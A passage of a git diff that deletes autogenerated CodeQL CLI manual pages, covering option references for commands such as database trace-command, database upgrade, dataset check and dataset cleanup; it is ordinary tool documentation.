1. You can pass 0 to use one thread per core on the machine, -or -_N_ to leave _N_ cores unused (except still use at least one -thread). - -#### `--[no-]save-cache` - -\[Advanced] Aggressively write intermediate results to the disk cache. -This takes more time and uses (much) more disk space, but may speed up -the subsequent execution of similar queries. - -#### `--[no-]expect-discarded-cache` - -\[Advanced] Make decisions about which predicates to evaluate, and what -to write to the disk cache, based on the assumption that the cache will -be discarded after the queries have been executed. - -#### `--[no-]keep-full-cache` - -\[Advanced] Don't clean up the disk cache after evaluation completes. -This may save time if you're going to do [codeql dataset cleanup](/code-security/codeql-cli/codeql-cli-manual/dataset-cleanup) or [codeql database cleanup](/code-security/codeql-cli/codeql-cli-manual/database-cleanup) afterwards anyway. - -#### `--max-disk-cache=<MB>` - -Set the maximum amount of space that the disk cache for intermediate -query results can use. - -If this size is not configured explicitly, the evaluator will try to use -a "reasonable" amount of cache space, based on the size of the dataset -and the complexity of the queries. Explicitly setting a higher limit -than this default usage will enable additional caching which can speed -up later queries. - -#### `--min-disk-free=<MB>` - -\[Advanced] Set target amount of free space on file system. - -If `--max-disk-cache` is not given, the evaluator will try hard to -curtail disk cache usage if the free space on the file system drops -below this value. - -#### `--min-disk-free-pct=<pct>` - -\[Advanced] Set target fraction of free space on file system. - -If `--max-disk-cache` is not given, the evaluator will try hard to -curtail disk cache usage if the free space on the file system drops -below this percentage. - -#### `--external=<pred>=<file.csv>` - -A CSV file that contains rows for external predicate _\<pred>_. -Multiple `--external` options can be supplied. - -#### `--xterm-progress=<mode>` - -\[Advanced] Controls whether to show progress tracking during QL -evaluation using xterm control sequences. Possible values are: - -`no`: Never produce fancy progress; assume a dumb terminal. - -`auto` _(default)_: Autodetect whether the command is running in an -appropriate terminal. - -`yes`: Assume the terminal can understand xterm control sequences. The -feature still depends on being able to autodetect the _size_ of the -terminal, and will also be disabled if `-q` is given. - -`25x80` (or similar): Like `yes`, and also explicitly give the size of -the terminal. - -`25x80:/dev/pts/17` (or similar): show fancy progress on a _different_ -terminal than stderr. Mostly useful for internal testing. - -### Options for controlling outputting of structured evaluator logs - -#### `--evaluator-log=<file>` - -\[Advanced] Output structured logs about evaluator performance to the -given file. The format of this log file is subject to change with no -notice, but will be a stream of JSON objects separated by either two -newline characters (by default) or one if the `--evaluator-log-minify` -option is passed. Please use `codeql generate log-summary <file>` to -produce a more stable summary of this file, and avoid parsing the file -directly. The file will be overwritten if it already exists. - -#### `--evaluator-log-minify` - -\[Advanced] If the `--evaluator-log` option is passed, also passing -this option will minimize the size of the JSON log produced, at the -expense of making it much less human readable. - -### Options to control RAM usage - -#### `-M, --ram=<MB>` - -The query evaluator will try hard to keep its total memory footprint -below this value. (However, for large databases it is possible that the -threshold may be broken by file-backed memory maps, which can be swapped -to disk in case of memory pressure). - -The value should be at least 2048 MB; smaller values will be -transparently rounded up. - -### Options to control QL compilation - -#### `--warnings=<mode>` - -How to handle warnings from the QL compiler. One of: - -`hide`: Suppress warnings. - -`show` _(default)_: Print warnings but continue with compilation. - -`error`: Treat warnings as errors. - -#### `--no-debug-info` - -Don't emit source location info in RA for debugging. - -#### `--[no-]fast-compilation` - -\[Deprecated] \[Advanced] Omit particularly slow optimization steps. - -#### `--no-release-compatibility` - -\[Advanced] Use the newest compiler features, at the cost of -portability. - -From time to time, new QL language features and evaluator optimizations -will be supported by the QL evaluator a few releases before they are -enabled by default in the QL compiler. This helps ensure that the -performance you experience when developing queries in the newest CodeQL -release can be matched by slightly older releases that may still be in -use for Code Scanning or CI integrations. - -If you do not care about your queries being compatible with other -(earlier or later) CodeQL releases, you can sometimes achieve a small -amount of extra performance by using this flag to enable recent -improvements in the compiler early. - -In releases where there are no recent improvements to enable, this -option silently does nothing. Thus it is safe to set it once and for all -in your global CodeQL config file. - -Available since `v2.11.1`. - -#### `--[no-]local-checking` - -Only perform initial checks on the part of the QL source that is used. - -#### `--no-metadata-verification` - -Don't check embedded query metadata in QLDoc comments for validity. - -#### `--compilation-cache-size=<MB>` - -\[Advanced] Override the default maximum size for a compilation cache -directory. - -#### `--fail-on-ambiguous-relation-name` - -\[Advanced] Fail compilation if an ambiguous relation name is generated -during compilation. - -### Options to set up compilation environment - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs may be found. Each directory -can either be a QL pack (or bundle of packs containing a -`.codeqlmanifest.json` file at the root) or the immediate parent of one -or more such directories. - -If the path contains more than one directory, their order defines -precedence between them: when a pack name that must be resolved is -matched in more than one of the directory trees, the one given first -wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -If you have checked out the CodeQL repository as a sibling of the -unpacked CodeQL toolchain, you don't need to give this option; such -sibling directories will always be searched for QL packs that cannot be -found otherwise. (If this default does not work, it is strongly -recommended to set up `--search-path` once and for all in a per-user -configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -If this list of directories is given, they will be searched for packs -before the ones in `--search-path`. The order between these doesn't -matter; it is an error if a pack name is found in two different places -through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand, it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -#### `--library-path=<dir>[:<dir>...]` - -\[Advanced] An optional list of directories that will be added to the -raw import search path for QL libraries. This should only be used if -you're using QL libraries that have not been packaged as QL packs. - -(Note: On Windows the path separator is `;`). - -#### `--dbscheme=<file>` - -\[Advanced] Explicitly define which dbscheme queries should be compiled -against. This should only be given by callers that are extremely sure -what they're doing. - -#### `--compilation-cache=<dir>` - -\[Advanced] Specify an additional directory to use as a compilation -cache. - -#### `--no-default-compilation-cache` - -\[Advanced] Don't use compilation caches in standard locations such as -in the QL pack containing the query or in the CodeQL toolchain -directory. - -### Options for configuring the CodeQL package manager - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -#### `--github-auth-stdin` - -Authenticate to the github.com Container registry by passing a -github.com GitHub Apps token or personal access token via standard -input. - -To authenticate to GitHub Enterprise Server Container registries, pass -`--registries-auth-stdin` or use the CODEQL\_REGISTRIES\_AUTH environment -variable. - -This overrides the GITHUB\_TOKEN environment variable. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/database-trace-command.md b/content/code-security/codeql-cli/codeql-cli-manual/database-trace-command.md deleted file mode 100644 index a126adcb76d6..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/database-trace-command.md +++ /dev/null @@ -1,222 +0,0 @@ ---- -title: database trace-command -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Plumbing] Run a single command as part of a traced build.' -redirect_from: - - /code-security/codeql-cli/manual/database-trace-command ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql database trace-command [--threads=<num>] [--ram=<MB>] [--extractor-option=<extractor-option-name=value>] <options>... -- <database> <command>... -``` - -## Description - -\[Plumbing] Run a single command as part of a traced build. - -This runs a single given command line under a tracer, thus possibly -performing some extraction, but does not finalize the resulting CodeQL -database. - -## Options - -### Primary Options - -#### `<database>` - -\[Mandatory] Path to the CodeQL database under construction. This must -have been prepared for extraction with [codeql database init](/code-security/codeql-cli/codeql-cli-manual/database-init). - -If the `--db-cluster` option is given, this is not a database itself, -but a directory that _contains_ databases, and all of those databases -will be processed together. - -#### `<command>...` - -The command to run. This may consist of one or more arguments, which are -used to create the process. It is recommended to pass the '--' -argument before listing the command's arguments, in order to avoid -confusion between its arguments and ours. - -The command is expected to exit with a status code of 0. Any other exit -code is interpreted as a failure. - -The command may be omitted when `--index-traceless-dbs` is given. - -#### `-j, --threads=<num>` - -Ask the extractor to use this many threads. This option is passed to the -extractor as a suggestion. If the CODEQL\_THREADS environment variable is -set, the environment variable value takes precedence over this option. - -You can pass 0 to use one thread per core on the machine, or -_N_ to -leave _N_ cores unused (except still use at least one thread). - -#### `-M, --ram=<MB>` - -Ask the extractor to use this much memory. This option is passed to the -extractor as a suggestion. If the CODEQL\_RAM environment variable is -set, the environment variable value takes precedence over this option. - -#### `--[no-]db-cluster` - -Indicates that the directory given on the command line is not a database -itself, but a directory that _contains_ one or more databases under -construction. Those databases will be processed together. - -#### `--no-tracing` - -\[Advanced] Do not trace the specified command, instead rely on it to -produce all necessary data directly. - -#### `--extra-tracing-config=<tracing-config.lua>` - -\[Advanced] The path to a tracer configuration file. It may be used to -modify the behaviour of the build tracer. It may be used to pick out -compiler processes that run as part of the build command, and trigger -the execution of other tools. The extractors will provide default tracer -configuration files that should work in most situations. - -#### `--[no-]index-traceless-dbs` - -In addition to the specified command, run the main script for extractors -that don't depend on tracing a build process. If you're constructing -databases for several languages with `--db-cluster`, this option should -be given to exactly one invocation of [codeql database trace-command](/code-security/codeql-cli/codeql-cli-manual/database-trace-command). - -#### `--[no-]use-build-mode` - -Determine what to run based on the database's build mode. This option -cannot be used in conjunction with `--index-traceless-dbs`. - -#### `--working-dir=<dir>` - -\[Advanced] The directory in which the specified command should be -executed. If this argument is not provided, the command is executed in -the value of `--source-root` passed to [codeql database create](/code-security/codeql-cli/codeql-cli-manual/database-create), if one exists. If no `--source-root` argument is provided, the command is executed in the -current working directory. - -#### `--no-run-unnecessary-builds` - -\[Advanced] Only run the specified build command(s) if a database under -construction uses an extractor that depends on tracing a build process. -If this option is not given, the command will be executed even when -CodeQL doesn't need it, on the assumption that you need its side -effects for other reasons. - -### Options to control extractor behavior - -#### `-O, --extractor-option=<extractor-option-name=value>` - -Set options for CodeQL extractors. `extractor-option-name` should be of -the form extractor\_name.group1.group2.option\_name or -group1.group2.option\_name. If `extractor_option_name` starts with an -extractor name, the indicated extractor must declare the option -group1.group2.option\_name. Otherwise, any extractor that declares the -option group1.group2.option\_name will have the option set. `value` can -be any string that does not contain a newline. - -You can use this command-line option repeatedly to set multiple -extractor options. If you provide multiple values for the same extractor -option, the behaviour depends on the type that the extractor option -expects. String options will use the last value provided. Array options -will use all the values provided, in order. Extractor options specified -using this command-line option are processed after extractor options -given via `--extractor-options-file`. - -When passed to [codeql database init](/code-security/codeql-cli/codeql-cli-manual/database-init) or `codeql database begin-tracing`, the options will only be -applied to the indirect tracing environment. If your workflow also makes -calls to -[codeql database trace-command](/code-security/codeql-cli/codeql-cli-manual/database-trace-command) then the options also need to be passed there if desired. - -See <https://codeql.github.com/docs/codeql-cli/extractor-options> for -more information on CodeQL extractor options, including how to list the -options declared by each extractor. - -#### `--extractor-options-file=<extractor-options-bundle-file>` - -Specify extractor option bundle files. An extractor option bundle file -is a JSON file (extension `.json`) or YAML file (extension `.yaml` or -`.yml`) that sets extractor options. The file must have the top-level -map key 'extractor' and, under it, extractor names as second-level map -keys. Further levels of maps represent nested extractor groups, and -string and array options are map entries with string and array values. - -Extractor option bundle files are read in the order they are specified. -If different extractor option bundle files specify the same extractor -option, the behaviour depends on the type that the extractor option -expects. String options will use the last value provided. Array options -will use all the values provided, in order. Extractor options specified -using this command-line option are processed before extractor options -given via `--extractor-option`. - -When passed to [codeql database init](/code-security/codeql-cli/codeql-cli-manual/database-init) or `codeql database begin-tracing`, the options will only be -applied to the indirect tracing environment. If your workflow also makes -calls to -[codeql database trace-command](/code-security/codeql-cli/codeql-cli-manual/database-trace-command) then the options also need to be passed there if desired. - -See <https://codeql.github.com/docs/codeql-cli/extractor-options> for -more information on CodeQL extractor options, including how to list the -options declared by each extractor. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/database-unbundle.md b/content/code-security/codeql-cli/codeql-cli-manual/database-unbundle.md deleted file mode 100644 index aaef74957d25..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/database-unbundle.md +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: database unbundle -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: Extracts a CodeQL database archive. -redirect_from: - - /code-security/codeql-cli/manual/database-unbundle ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql database unbundle <options>... -- <archive> -``` - -## Description - -Extracts a CodeQL database archive. - -This command extracts a CodeQL database archive created by [codeql database bundle](/code-security/codeql-cli/codeql-cli-manual/database-bundle). It is similar to using unzip to extract the database, but performs better in certain scenarios (for instance, unzip is very slow on Windows) and supports additional options such as setting the name of the database extracted. - -## Options - -### Primary Options - -#### `<archive>` - -\[Mandatory] Path to the CodeQL database archive to unzip. - -#### `--name=<name>` - -The name to give the CodeQL database created. If not provided, this will -match whatever name the database has in the archive. - -#### `--target=<target>` - -The directory to unzip the CodeQL database in. If not provided, this -will default to the current working directory. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/database-upgrade.md b/content/code-security/codeql-cli/codeql-cli-manual/database-upgrade.md deleted file mode 100644 index 796522a91197..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/database-upgrade.md +++ /dev/null @@ -1,269 +0,0 @@ ---- -title: database upgrade -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: Upgrade a database so it is usable by the current tools. -redirect_from: - - /code-security/codeql-cli/manual/database-upgrade ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql database upgrade [--threads=<num>] [--ram=<MB>] <options>... -- <database> -``` - -## Description - -Upgrade a database so it is usable by the current tools. - -This rewrites a CodeQL database to be compatible with the QL libraries -that are found on the QL pack search path, if necessary. - -If an upgrade is necessary, it is irreversible. The database will -subsequently be unusable with the libraries that were current when it -was created. - -## Options - -### Primary Options - -#### `<database>` - -\[Mandatory] Path to the CodeQL database to upgrade. - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs containing upgrade recipes -may be found. Each directory can either be a QL pack (or bundle of packs -containing a `.codeqlmanifest.json` file at the root) or the immediate -parent of one or more such directories. - -If the path contains directories trees, their order defines precedence -between them: if a pack name that must be resolved is matched in more -than one of the directory trees, the one given first wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -\[Advanced] If this list of directories is given, they will be searched -for upgrades before the ones in `--search-path`. The order between these -doesn't matter; it is an error if a pack name is found in two different -places through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -#### `--target-dbscheme=<file>` - -The _target_ dbscheme we want to upgrade to. If this is not given, a -maximal upgrade path will be constructed - -#### `--target-sha=<sha>` - -\[Advanced] An alternative to `--target-dbscheme` that gives the -internal hash of the target dbscheme instead of the dbscheme file. - -#### `--[no-]allow-downgrades` - -Include any relevant downgrades if there are no upgrades - -### Options to control evaluation of upgrade queries - -#### `--[no-]tuple-counting` - -\[Advanced] Display tuple counts for each evaluation step in the query -evaluator logs. If the `--evaluator-log` option is provided, tuple -counts will be included in both the text-based and structured JSON logs -produced by the command. (This can be useful for performance -optimization of complex QL code). - -#### `--timeout=<seconds>` - -\[Advanced] Set the timeout length for query evaluation, in seconds. - -The timeout feature is intended to catch cases where a complex query -would take "forever" to evaluate. It is not an effective way to limit -the total amount of time the query evaluation can take. The evaluation -will be allowed to continue as long as each separately timed part of the -computation completes within the timeout. Currently these separately -timed parts are "RA layers" of the optimized query, but that might -change in the future. - -If no timeout is specified, or is given as 0, no timeout will be set -(except for [codeql test run](/code-security/codeql-cli/codeql-cli-manual/test-run), where the default timeout is 5 minutes). - -#### `-j, --threads=<num>` - -Use this many threads to evaluate queries. - -Defaults to 1. You can pass 0 to use one thread per core on the machine, -or -_N_ to leave _N_ cores unused (except still use at least one -thread). - -#### `--[no-]save-cache` - -\[Advanced] Aggressively write intermediate results to the disk cache. -This takes more time and uses (much) more disk space, but may speed up -the subsequent execution of similar queries. - -#### `--[no-]expect-discarded-cache` - -\[Advanced] Make decisions about which predicates to evaluate, and what -to write to the disk cache, based on the assumption that the cache will -be discarded after the queries have been executed. - -#### `--[no-]keep-full-cache` - -\[Advanced] Don't clean up the disk cache after evaluation completes. -This may save time if you're going to do [codeql dataset cleanup](/code-security/codeql-cli/codeql-cli-manual/dataset-cleanup) or [codeql database cleanup](/code-security/codeql-cli/codeql-cli-manual/database-cleanup) afterwards anyway. - -#### `--max-disk-cache=<MB>` - -Set the maximum amount of space that the disk cache for intermediate -query results can use. - -If this size is not configured explicitly, the evaluator will try to use -a "reasonable" amount of cache space, based on the size of the dataset -and the complexity of the queries. Explicitly setting a higher limit -than this default usage will enable additional caching which can speed -up later queries. - -#### `--min-disk-free=<MB>` - -\[Advanced] Set target amount of free space on file system. - -If `--max-disk-cache` is not given, the evaluator will try hard to -curtail disk cache usage if the free space on the file system drops -below this value. - -#### `--min-disk-free-pct=<pct>` - -\[Advanced] Set target fraction of free space on file system. - -If `--max-disk-cache` is not given, the evaluator will try hard to -curtail disk cache usage if the free space on the file system drops -below this percentage. - -#### `--external=<pred>=<file.csv>` - -A CSV file that contains rows for external predicate _\<pred>_. -Multiple `--external` options can be supplied. - -#### `--xterm-progress=<mode>` - -\[Advanced] Controls whether to show progress tracking during QL -evaluation using xterm control sequences. Possible values are: - -`no`: Never produce fancy progress; assume a dumb terminal. - -`auto` _(default)_: Autodetect whether the command is running in an -appropriate terminal. - -`yes`: Assume the terminal can understand xterm control sequences. The -feature still depends on being able to autodetect the _size_ of the -terminal, and will also be disabled if `-q` is given. - -`25x80` (or similar): Like `yes`, and also explicitly give the size of -the terminal. - -`25x80:/dev/pts/17` (or similar): show fancy progress on a _different_ -terminal than stderr. Mostly useful for internal testing. - -### Options for controlling outputting of structured evaluator logs - -#### `--evaluator-log=<file>` - -\[Advanced] Output structured logs about evaluator performance to the -given file. The format of this log file is subject to change with no -notice, but will be a stream of JSON objects separated by either two -newline characters (by default) or one if the `--evaluator-log-minify` -option is passed. Please use `codeql generate log-summary <file>` to -produce a more stable summary of this file, and avoid parsing the file -directly. The file will be overwritten if it already exists. - -#### `--evaluator-log-minify` - -\[Advanced] If the `--evaluator-log` option is passed, also passing -this option will minimize the size of the JSON log produced, at the -expense of making it much less human readable. - -### Options to control RAM usage of the upgrade process - -#### `-M, --ram=<MB>` - -The query evaluator will try hard to keep its total memory footprint -below this value. (However, for large databases it is possible that the -threshold may be broken by file-backed memory maps, which can be swapped -to disk in case of memory pressure). - -The value should be at least 2048 MB; smaller values will be -transparently rounded up. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/dataset-check.md b/content/code-security/codeql-cli/codeql-cli-manual/dataset-check.md deleted file mode 100644 index e96cb4266adb..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/dataset-check.md +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: dataset check -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Plumbing] Check a particular dataset for internal consistency.' -redirect_from: - - /code-security/codeql-cli/manual/dataset-check ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql dataset check <options>... -- <dataset> -``` - -## Description - -\[Plumbing] Check a particular dataset for internal consistency. - -This command is most commonly useful to developers of CodeQL extractors, -as it validates the data produced by the extractor. It may also be -useful if queries against a database are giving inconsistent results, to -rule out issues in the underlying data as the cause. - -## Options - -### Primary Options - -#### `<dataset>` - -\[Mandatory] Path to the raw QL dataset to check. - -#### `--failing-exitcode=<code>` - -\[Advanced] Set the exit code to produce if any failures are -encountered. Usually 1, but tooling that parses the output may find it -useful to set it to 0. - -#### `--format=<fmt>` - -Select output format. Possible choices: - -`text` _(default)_: A human-readable textual rendering. - -`json`: A streamed JSON array of objects. - -`jsonz`: A stream of zero-terminated JSON objects. - -#### `--[no-]precise-locations` - -\[Advanced] Expend extra effort to compute precise locations for -inconsistencies. This will take more time, but may make it easier to -debug extractor behaviour. - -#### `--max-resolve-depth=<n>` - -\[Advanced] The maximum depth to which IDs should be resolved to -explain inconsistencies. (Default: 3) - -#### `--max-errors-per-checker=<n>` - -The maximum number of inconsistency errors of each kind that should be -reported explicitly. (Default: 5) - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/dataset-cleanup.md b/content/code-security/codeql-cli/codeql-cli-manual/dataset-cleanup.md deleted file mode 100644 index f564749b0841..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/dataset-cleanup.md +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: dataset cleanup -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Plumbing] Clean up temporary files from a dataset.' -redirect_from: - - /code-security/codeql-cli/manual/dataset-cleanup ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql dataset cleanup <options>... -- <dataset> -``` - -## Description - -\[Plumbing] Clean up temporary files from a dataset. - -This should not be used for datasets still under construction, as it -will make it impossible to import further data into the dataset. - -## Options - -### Primary Options - -#### `<dataset>` - -\[Mandatory] Path to the raw QL dataset to clean up. - -#### `--max-disk-cache=<MB>` - -Set the maximum amount of space that the disk cache for intermediate -query results can use. - -If this size is not configured explicitly, the evaluator will try to use -a "reasonable" amount of cache space, based on the size of the dataset -and the complexity of the queries. Explicitly setting a higher limit -than this default usage will enable additional caching which can speed -up later queries. - -#### `--min-disk-free=<MB>` - -\[Advanced] Set target amount of free space on file system. - -If `--max-disk-cache` is not given, the evaluator will try hard to -curtail disk cache usage if the free space on the file system drops -below this value. - -#### `--min-disk-free-pct=<pct>` - -\[Advanced] Set target fraction of free space on file system. - -If `--max-disk-cache` is not given, the evaluator will try hard to -curtail disk cache usage if the free space on the file system drops -below this percentage. - -#### `--cache-cleanup=<mode>` - -Select how aggressively to trim the cache. Choices include: - -`clear`: Remove the entire cache, trimming down to the state of a -freshly extracted dataset - -`trim` _(default)_: Trim everything except explicitly "cached" -predicates. - -`fit`: Simply make sure the defined size limits for the disk cache are -observed, deleting as many intermediates as necessary. - -#### `--cleanup-upgrade-backups` - -Delete any backup directories resulting from database upgrades. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/dataset-import.md b/content/code-security/codeql-cli/codeql-cli-manual/dataset-import.md deleted file mode 100644 index f59d25c2158e..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/dataset-import.md +++ /dev/null @@ -1,148 +0,0 @@ ---- -title: dataset import -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Plumbing] 